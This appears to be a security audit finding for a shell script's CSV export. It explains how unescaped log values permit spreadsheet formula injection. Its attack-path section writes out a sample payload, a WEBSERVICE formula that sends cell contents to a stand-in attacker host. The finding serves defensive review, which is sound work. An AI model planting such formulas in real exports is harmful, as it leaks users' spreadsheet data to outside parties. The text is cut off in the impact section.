T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/script.sh:73- Finding
Spreadsheet Formula Injection in CSV Exports
- Content
View full analysis
"$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out"; done < "$f" done ;; ``` ### Technical Analysis The `val` field originates from user-supplied command arguments stored in log files. During CSV export, it is copied directly into a CSV row without field quoting, escaping, or spreadsheet-formula neutralization. Values beginning with spreadsheet formula indicators such as `=`, `+`, `-`, or `@` can therefore be interpreted as formulas when the exported file is opened in compatible spreadsheet software. Embedded commas, quotation marks, carriage returns, and newlines can also alter the CSV structure and inject additional fields or rows. The shell does not evaluate the malicious value, so this is not shell command injection in the `currency` process. Exploitation occurs later in the spreadsheet application that opens the generated file. ### Attack Path 1. An attacker persuades a user to record an attacker-controlled value, or supplies crafted data through an invocation such as: ```text currency journal '=WEBSERVICE("https://attacker.example/collect?data="&A1)' ``` 2. The value is stored in a log file under `~/.local/share/currency/`. 3. The user runs: ```text currency export csv ``` 4. The script writes the value verbatim to `~/.local/share/currency/export.csv`. 5. The user opens the export in spreadsheet software. 6. If that application supports and permits the injected formula, it may evaluate it and perform attacker-selected spreadsheet operations, including external network requests. ### Impact Assessment Exploitation is limited to the privileges and capabilities of the spre ...[truncated 623 chars]- Remediation
View remediation